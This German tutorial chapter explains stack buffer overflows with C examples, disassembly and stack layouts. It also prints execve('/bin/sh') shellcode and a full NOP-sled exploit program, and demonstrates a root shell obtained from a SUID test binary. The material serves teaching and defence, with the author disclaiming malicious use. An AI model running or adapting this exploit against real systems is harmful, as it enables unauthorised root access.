ein Kapitel zurück                                           ein Kapitel weiter

Als erstes muss ich diejenigen aufklären die sich hier erhoffen eine Schritt für Schritt Anleitung finden wie man Programme hackt (Hacker = der Gute| Cracker = der Böse). Der Sinn diese Artikels ist es mehr oder weniger aufzuklären was ein Buffer Overflow ist und wie Hacker oder Cracker in etwa vorgehen diesen Fehler auszunutzen. Sinn diese Themas ist aufzuklären das der Buffer Overflow kein Mythos ist und Ihnen diesen in etwa näher zu bringen.

Wer folgende Dinge COOL findet : Denial of Service Attack, Warez, Port Scans, Viren, Faking, Preaking, MP3, Ausspähen von Daten etc. bzw. wenn jemand vor hat solche Dinge im Internet zu Betreiben sollte sich erst mal die Straflage zu diesen Delikten ansehen unter http://www.e-recht24.de/strafrecht.htm#2 und sich das ganze nochmals überlegen ob man seine Zukunft versauen will. Im 2.Teil dieses Kapitels geht es darum wie wir gegen diese Sicherheitslücke vorgehen können.

Was ist das Problem mit Funktionen wie z.B. gets() zum Einlesen eines Strings? Sehen wir uns einmal folgendes Beispiel an.....

#include <stdio.h>

int main()
{
   char buffer[10];
   gets(buffer);

   puts(buffer);
   return 0;
}

Hier haben wir ein char-Array für eine Zeichenkette von 10 Bytes (10 Zeichen). Da wir aber hier die Funktion gets() verwenden können wir hier mehr als 10 Zeichen eingeben. Wenn wir dies tun, haben wir einen Buffer Overflow. Auf deutsch einen Pufferüberlauf.




Das Problem ist nun was hinter buffer[10] passiert. Dieser Bereich ist undefiniert. Schlimmer noch hinter buffer[10] befindet sich z.B. im Falle (meistens der Fall) einer Funktion die Rücksprungadresse.

Nun könnten wir theoretisch diese Rücksprungadresse verändern und gefährlichen Programmcode (im Taskbereich) ausführen (execute arbitrary code). Einfach Ausgedrückt, wenn sie leichtisinnigerweise, als root arbeiten könnten wir als Rücksprungadresse eine Shell starten und hätten somit root-Rechte. Wir könnten praktisch wenn wir böse sind das System abschiessen oder auspionieren.

Jetzt wollen sie sicherlich wissen wie ein Hacker vorgeht um Ihr Programm das sie geschrieben haben zu hacken und was sie tun können damit Ihr Programm keine derartigen Schwachstellen bietet.

Als erstes müssen wir wissen wie sich unser Programm zusammensetzt. Ein Programm besteht aus 3 Segmenten die im Arbeisspeicher liegen. Der Prozessor (CPU) holt sich diese Daten und Anweisungen aus diesem Arbeitsspeicher. Damit der Prozessor unterscheiden kann ob es sich bei den Daten um Maschinenbefehle oder dem Datenteil mit den Variablen handelt, werden diese Speicherbereiche in einzelne Segmente aufgeteilt. Hier erst mal die grafische Darstellung der einzelnen Segmente...




  • Code Segment (Textsegment) - Hier befinden sich die Maschninenbefehle die vom Prozessor beim HOLEN-Zyklus eingelesen werden. Oder einfacher, der Programmcode selber.
  • Daten Segment - Hier liegen die Variablen (extern, static), Felder (Arrays) und Tabellen des Programms. Der Machinenbefehl der diese Daten benötigt greift auf dieses Segment zu.
  • Stack Segment - Hier befinden sie dynamische Variablen und Rücksprungadressen. Dies ist das Segment das auch der Programmierer verwenden kann. Dieser Bereich dient auch zum schnellen zwischenspeichern von Daten und Parameterübergaben.

Der Stack ist also das Angriffsziel der der Hacker, die Rücksprungadresse zu manipulieren.

Was ist ein Stack?

Der Stack dient zum kurzeitigen Zwischenspeichern von Daten. Diese Daten werden dabei auf einem Stapel gelegt. Wie beim Tellerwaschen. Folglich dient auch wie beim Tellerwaschen das LIFO-Prinzip (LastIn FirsOut). Also die Daten die als letztes auf dem Stack gekommen sind werden als erstes wieder von Diesem genommen.

Für die Adressierung im Stack ist der Stackpointer (SP) zuständig. Zeigt unser aktueller Stackpointer z.B. auf Byte 100 im Speicher und wir legen nun einen Integer-Wert in diesem Stack ab. Nun wird der Stackpointer auf 32bit-Systemen um 4 Bytes verringert (kein Tippfehler) und zeigt nun auf Byte 96 im Stack. Holen wir uns diesen Integerwert nun wieder vom Stack wird der Wert des Stackpointers wieder um 4 erhöht (man kann auch sagen der Speicher auf dem Stack wird wieder freigegeben).

Um Daten auf dem Stack abzulegen wird intern die Assembler-Funktion PUSH verwendet. Um diese wieder vom Stack zu holen wird die Assembler-Funktion POP verwendet. Ich will Ihnen das kurz anhand eines einfachem Beispiel demonstrieren...

#include <stdio.h>

void funktion(void)
{
   printf("Hallo Welt\n");
}

int main()
{
   int x=666;
   int y=999;
   funktion();
   printf("%d %d\n",x,y);

   return 0;
}

Wenn in diesem Programm die Funktion funktion() aufgerufen wird, werden die beiden Werte x und y auf dem Stack zwischengespeichert. Ebenso die Rücksprungadresse wird auf dem Stack gepusht. Nun wird Hallo Welt auf dem Bildschirm ausgegeben. Jetzt werden die Werte auf dem Stack im Umkehrter Reihenfolge wie sie zuvor auf dem Stack gepusht wurden, gePOPt. Als letztes wird wieder die Rücksprungadresse zur main()- Funktion vom Stack entfernt und zu dieser Adresse gesprungen. Will man jetzt zum Beispiel auf zwischengespeicherte Werte im Stacksegment zugreifen können sie den Basepointer (BP) verwenden.

Ein Stack ist in mehrere sogenannte Frames aufgeteilt, die beim Funktionsaufruf auf den Stack gelegt und danach wieder runtergeholt werden. Ein solcher Frame beinhaltet alles, was man benötigt, um eine Funktion aufzurufen und zur aufrufenen Funktion zurückzukehren (im wesentlichen übergebene Parameter, lokale Variablen, Rücksprungadresse). Für solche Frames gibt es einen speziellen Framepointer (FP(BP) , manchmal auch logical base pointer LB genannt).

Wird eine Funktion aufgerufen, findet zuerst der sogenannte "procedure prolog" statt. Hier wird zuerst der aktuelle FP abgelegt, um bei Rücksprung wieder darauf zugreifen zu können. Wollen wir uns das ganze bildlich nach einem Funktionsaufruf ansehen...




Nun wollen wir mal ein bisschen Praxis, nach all dieser Theorie machen...

#include <stdio.h>

void overflow(void)
{
   char zeichen[5];
   strcpy(zeichen, "1234567"); /*Überlauf*/
}

int main()
{
   printf("Mein 1.Buffer Overflow\n");
   overflow();
   return 0;
}

Compilieren sie das Programm und nun verwenden sie den Diassembler um sich den Maschinencode und den Assemblercode des Programms anzusehen. Denn Diassembler können sie mittels....

objdump -d programmname  

...einsetzen. Nun dürfte sie in etwa folgende Ausgabe bekommen........

..........................
08048490 <overflow>:
 8048490:        55               push   %ebp
 8048491:        89 e5            mov    %esp,%ebp
 8048493:        83 ec 18         sub    $0x18,%esp
 8048496:        83 ec 08         sub    $0x8,%esp
 8048499:        68 44 85 04 08   push   $0x8048544
 804849e:        8d 45 e8         lea    0xffffffe8(%ebp),%eax
 80484a1:        50               push   %eax
 80484a2:        e8 d9 fe ff ff   call   8048380 <_init+0x78>
 80484a7:        83 c4 10         add    $0x10,%esp
 80484aa:        89 ec            mov    %ebp,%esp
 80484ac:        5d               pop    %ebp
 80484ad:        c3               ret
 80484ae:        89 f6            mov    %esi,%esi
 .........................  

In der linken Spalte befindet sich der Adressspeicher. Beispielsweise in der Adresse 08048490 fängt in diesem Beispiel die Funktion overflow() an. Diese Adresse wurde Beispielsweise zuvor von der main - Funktion mittels......

80484c6:        e8 c5 ff ff ff  call   8048490 <overflow>  

...aufgerufen. In der 2.Spalte befindet sich der Maschinencode(Opcode). Dieser Code ist schwer für Menschen nachvollziehbar. Aber alle Zahlen haben Ihre Bedeutung. So steht z.B. die Zahl 55 für push %ebp, als das Sichern des Basispointers auf dem Stack. Und 5d entfernt den Basispointer wieder vom Stack. c3 bedeutet ret, also return. Mit c3 wird also wieder in die Rücksprungadresse gesprungen, die in der main()-Funktion ebenfalls auf dem Stack gepusht wurde. Häufig finden sie den Maschinencode 90 (nop) der nichts anderes macht als Zeit des Prozessors zu vertrödeln. In der 3.Spalte befindet sich der Assmbler-Code wie Beispielsweise....

add $0x10,%esp
mov %ebp,%esp  

Dieses ist ist wichtig zu verstehen wie oder besser gesagt woraus ein Programm eigentlich besteht. Ein einfaches Konstrukt wie die for-Schleife wird z.B. in Hunderte kleiner Maschinencodes (Opcodes) zerlegt. Vielleicht wissen sie jetzt ein bisschen mehr wenn sie das nächste mal mit einem Hexeditor ein Programm öffnen was dies Zahlen (Maschinencode) und Zeilen (Adressen) bedeuten.

Um es gleich vorwegzunehmen. Dies hier wird kein Assembler-Kurs oder ähnliches. Das Thema ist Recht komplex. Sollten sie doch etwas mehr über Assembler erfahren wollen, ohne aber gleich damit Profesionell Programmieren zu wollen so kann ich Ihnen das Buch -Programmiersprache Assembler Ein Strukturierte Einführung- von Reiner Backer empfehlen. Für einen Preis von ca. 10 Euro erfährt man auf knapp 280 Seiten genug um die Grundlagen dazu zu verstehen. Diese Buch behandelt zwar nur die Assembler TASM oder MASM und den 80x86-Prozessor aber das Prinzip bleibt fast immer das selbe. Nur der Syntax unterscheidet sich, teilweise erheblich, zwischen den eben genannten Assembler und z.B. NASM oder GAS. Soviel zum Thema Assembler.

Übersetzten sie nun unser Programm zuvor nochmals mittels...

gcc -S -o programm.s programm.c  

Nun befindet sich in Ihrem Verzeichnis eine Assemblerdatei des Programms. Wir wollen uns dieses, etwas zusammengeschnitten ansehen....

main:
pushl        %ebp       ;Framepointer auf dem Stack
movl        %esp, %ebp  ;Stackpointer(esp) in Framepointer(ebp) kopieren
subl        $8, %esp    ;Stackpointer um 8Bytes verringern
subl        $12, %esp   ;Stackpointer um weitere 12 Bytes verringern für ausgabe printf
pushl        $.LC1      ;Den String "Mein 1.Buffer Overflow\n"
call        printf      ;Funktion printf aufrufen
addl        $16, %esp   ;Stackpointer wieder um 16 Bytes erhöhen (freigeben printf ausgabe)
call        overflow    ;Funktion overflow aufrufen call legt die Rücksprungadresse auf dem Stack
movl        $0, %eax
movl        %ebp, %esp
popl        %ebp
ret

overflow:
pushl        %ebp            ;Wieder ein Framepointer auf dem Stack
movl        %esp, %ebp       ; Stackpointer(esp) in Framepointer(ebp) kopieren
subl        $24, %esp        ;Stackpointer-24Bytes
subl        $8, %esp         ;Stackpointer-8Bytes
pushl        $.LC0           ;Den String "1234567" auf dem Stack
leal        -24(%ebp), %eax  ;Laden des Offsets zu eax
pushl        %eax            ;eax auf dem Stack
call        strcpy           ;Funktion strcpy aufrufen
addl        $16, %esp        ;16 Bytes vom Stack freigeben
movl        %ebp, %esp       ;Stackpointer in Framepointer kopieren
popl        %ebp             ;Framepointer wieder vom Stack
ret                          ;Zurück zur main-Funktion  

Dies ein kleiner Überblick über die Assembler-Schreibweise unseres Programms. Uns intersiert ja nun die Rücksprungadresse von dem Aufruf call overflow. Der Stack zum Zeitpunkt unseres Funktionsaufrufs.....




Da wir jetzt wissen wo (und was) sich die Rücksprungadresse befindet können wir nun ein Programm schreiben, wo wir den buffer overflow zum Ändern der Rücksprungadresse zu nutzen. Man spricht dabei im Fachjargon von Buffer overflow exploit. Natürlich bringt das ganze nichts wenn wir als normler User eingeloggt sind. Wir werden zwar am Ende auch einen echten "Hack" machen, aber zuvor will ich Ihnen das ganze Thema näher bringen.

Ich weise auch nochmals darauf hin, dies ist kein Tutorial für Leute mit kriminallistischen Absichten. Diese werden hier eh entäuscht werden. Daher hält sich diese Thema auch mehr theoretisch. Fehler zu diesem Thema könnt Ihr mir gerne schicken aber spart euch fragen, die mit WIE KANN ICH, oder ähnlich Anfangen.

Bei folgendem Beispiel wollen wir die Rücksprungadresse manipulieren...

#include <stdio.h>
#include <string.h>

void funktion(int temp,char *array)
{
   char puffer[5];
   strcpy(puffer, array);
   printf("%s\n",puffer);
}

int main(void)
{
   int wert;
   wert=0;
   funktion(7,"hallo");
   wert=1;
   printf("%d\n",wert);
}

Unser Ziel soll es nun sein die Funktion funktion() aufzurufen und die Rücksprungadresse zu wert=1; zu überspringen, so dass printf als Wert 0 anstatt 1 ausgibt. Nach dem Funktionsaufruf sieht unser Stack so aus...




Wie kommen wir nun am einfachsten zur Rücksprungadresse? Mit einem Pointer. Also benötigen wir zuerst einen Zeiger der auf diese Rücksprungadresse verweist. Anschließend manipulieren wir die Adresse der Rücksprungadresse auf die unser Pointer zeigt so damit die Wertzuweisung wert=1 übersprungen wird....

#include <stdio.h>
#include <string.h>

void funktion(int tmp,char *array)
{
   char puffer[5];
   int *pointer;
   strcpy(puffer, array);
   printf("%s\n",puffer);

   pointer=&tmp-1; /*pointer auf dem Stack 4 Bytes zurück
      Sollte jetzt auf die Rücksprungadresse zeigen*/
   *pointer=*pointer+10;/*Rücksprungadresse auf die Pointer zeigt 10 Bytes weiter*/
}

int main(void)
{
   int a;
   a=0;
   funktion(7,"hallo");
   a=1;
   printf("wert = %d\n",a);
   return 0;
}

Die einfachste Möglichkeit um auf die Rücksprungadresse zurückzugreifen, ist die erste Variable der Funktion um dessen Größe Rückwärts zu springen....

pointer=&tmp-1;  






Jetzt können wir die Rücksprungadresse manipulieren auf die unser pointer zeigt...

*pointer=*pointer+10;  

Warum habe ich hier die Rücksprungadresse um 10 Bytes erhöht? Dazu müssen wir wieder einen Diassembler einsetzen....

objdump -d programmname
080484e0 <main>:
.....................................
 80484f7:   e8 94 ff ff ff  call   8048490 <funktion>  ;Aufruf funktion
 80484fc:   83 c4 10        add    $0x10,%esp          ;Stack wieder freigeben
 80484ff:   c7 45 fc 01 00 00 00  movl   $0x1,0xfffffffc(%ebp)    ;wert=1
 8048506:   83 ec 08        sub    $0x8,%esp
 8048509:   ff 75 fc        pushl  0xfffffffc(%ebp)    ;printf vorbereiten
 804850c:   68 9e 85 04 08  push   $0x804859e
 8048511:   e8 4a fe ff ff  call   8048360 <_init+0x58> ;printf aufrufen
.........................................  

Die zu überspringende Adresse ist in diesem Fall ja zwischen 80484ff und 8048509 und...

8048509 - 80484ff = A  

A ist der Hexdezimale Wert für 10. Jetzt sind sie schon in der Lage die Rücksprungadresse zu manipulieren. Noch haben wir aber kaum etwas zu buffer overflow erfahren. Das soll sich jetzt ändern.

Zuerst benötigen wir ein Programm das eine Shell startet. Was benötigen wir alles um eine Shell zu starten.

  • Einen String "/bin/sh" irgendwo im Speicher
  • Die Adresse dieses Strings irgendwo im Speicher, direkt dahinter NULL; damit hätten wir name[0] und name[1] 0xb im eax Register
  • Die Adresse von 2) in ebx (sozusagen die Adresse der Adresse, wo der Pointer auf "/bin/sh" gespeichert ist)
  • Die Adresse von "/bin/sh" im ecx Register
  • Die Adresse von NULL im edx Register Die Bytefolge (den Opcode) für int $0x80

Ich verwende hier einen erechneten Shell-Code den ich im Internet gefunden habe. Es gibt viele dieser Shell-Codes und mir ist der Urheber dieses Shell-Codes nicht bekannt. Wer sich näher mit diesen Shellcodes befassen will muss im Internet selbst danach suchen, was diese Bedeuteten und wie diese Errechnet werden.

#include <stdio.h>

int main()
{
  int *pointer;
  char shellcode[] =
        "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
        "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
        "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
        "\xff/bin/sh";

  pointer = (int *)&pointer + 2;/* pointer wieder auf den Ruecksprungwert(i.Stapel)*/
  (*pointer) = (int)shellcode;  /* und dieser zeigt jetzt auf unseren Code*/
}

Wenn dieses Programm SUID root ist, können wir eine rootshell starten. Beispiel.....

su
chown root programmname
chmod u+s programmname
bash#: ./programmname
bash#: whoami
root  

Wie gesagt sollte dieser shellcode nicht funktionieren müssen sie sich selbst umsehen nach Alternativen. Was benötigen wir nun für einen Buffer Overflow?

  • Ein Programm bei dem wir ein Buffer Overflow auslösen
  • Die Grösse des Puffers
  • Offset zum Stackpointer des eigenen Programms und des Programms was wir hacken wollen
  • Wo endet der Buffer und somit wo befindet sich die Rücksprungadresse
  • Wo beginnt der Buffer

Erst wollen wir ein kleines Programm schreiben welches wir exploiten wollen...

#include <stdio.h>

int main(int argc, char **argv)
{
   char puffer[20];
   if(argc !=2)
     {
       fprintf(stderr, "Mindestens ein Argument angeben\n");
       exit(0);
     }
   strcpy(puffer, argv[1]);
}

Jetzt müssen wir nach einem Buffer Overflow suchen....

gcc -o programmname programmname.c
./programmname 123456789012345678901234567890 /*30 Zeichen*/
./programmname 1234567890123456789012345678901234567890 /*40 Zeichen*/
./programmname 12345678901234567890123456789012345678901234567890 /*50 Zeichen*/
(core dumped) /*Buffer overflow gefunden*/
./programmname 1234567890123456789012345678901234567890123 /*43 Zeichen*/
./programmname 12345678901234567890123456789012345678901234 /*44 Zeichen*/
(core dumped)  

Wie haben es gefunden. Nach 44 Zeichen tritt ein Buffer Overflow auf. Das würde bedeuten, das sich nach 44 Bytes die Rücksprungadresse findet. Nun benötigen wir ein Programm zum herausfinden des Stackanfangs unseres Programms......

/*Download:buf.c*/
#include <stdio.h> char* get_sp(void) { /*Möglichkeit 1*/ char a[4]; printf("Adresse Stackanfang (Möglichkeit 1) : %p\n",a-4); /*Möglichkeit 2*/ __asm__("movl %esp,%eax"); } int main() { printf("Adresse Stackanfang in eax (Möglichkeit 2) : %p\n", get_sp()); return 0; }

Hiermit haben wir die Adresse des aktuellen Stackpointers. Jetzt können wir ein Programm verwenden, das unsere Programm von oben exploiten kann...

#include <stdio.h>

int main(int argc, char **argv)
{
   char puffer[60];
   strcpy(puffer, argv[1]);
}

Suchen sie ruhig wieder wie zuvor ab wann ein Pufferüberlauf eintritt. Sollte in diesem bei Byte 65 passieren.

Diese Programm wollen wir jetzt eine Buffer Overflow Exploit unterziehen....

/*Quellcode : http://www.pescheck.de/txt/buffer_overflows.htm*/
/*exploit.c*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
/* ShellCodeSize ; strlen(shellcode)*/
#define SSC 45
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char *get_sp(void)
{
    __asm__("movl %esp,%eax");
}

int main(int argc, char**argv)
{
  char *code, *sp, **spres;
  int i, offset, anz_nop;

  if (argc < 4)
    {
      printf("Usage: %s Programmname Anzahl_NOPs Stackoffset\n",argv[0]);
      exit(0);
    }

  anz_nop=atoi(argv[2]);
  offset =atoi(argv[3]);

  code=malloc(SSC+anz_nop+3*sizeof(void*)); / nops+shellcode+sp+res+NULL
  if (code==NULL)
    {
       puts("Nicht genug Speicher.");
       exit(0);
     }

  for ( i=0 ; i < anz_nop ; i++)
        *(code+i) = 0x90;            /* code Array mit NOPs fuellen*/
  memcpy(code+i,shellcode,SSC);      /* Shellcode ins code Array schreiben*/

  spres= (char**) (code + anz_nop + SSC) ;  /* spres zeigt auf Ende des shellcodes*/
  sp=get_sp()-offset;                 /* sp : eigener SP minus uebergebener Offset*/

  *spres     = sp;        /* sp schreiben*/
  *(spres+1) = sp;        /* res schreiben*/
  *(spres+2) = NULL;      /* ende fuer strcpy*/

  execl(argv[1],argv[1],code,NULL);
  perror("execl failed...");
}

Diesem Programm übergeben wir nun als 1.Argument den Programmnamen das wir exploiten wollen, als 2 Argument die Anzahl der NOP's (kein Operationscode), entspricht die geschätzte Grösse des Puffers Minus der Grösse des Shellcodes. Als drittes Argument übergeben wir die geschätzte Rücksprungadresse......

./exploit exploit programmname 15 30
(core dumped)
./exploit exploit programmname 15 65
#bash

su
chown root programmname
chmod u+s programmname
exit
./exploit programmname 15 65
whoami
root  

Es ist übrigens nicht gesagt das dies bei Ihnen funktioniert. Ist auch nicht die Absicht diese Kapitels. Es ging nur um Aufzuklären was ein Buffer Overflow ist.

Im nächsten Kapitel wollen wir uns die Gegenmaßnamen ansehen wie sie vermeiden können, das sie Programme schreiben die solche Unsicherheiten haben. Auch Maßnahmen was sie tun können wenn sie bereits Programme geschrieben haben die diese Unsicherheit aufweisen.

ein Kapitel zurück          nach oben           ein Kapitel weiter


© 2001,2002 Jürgen Wolf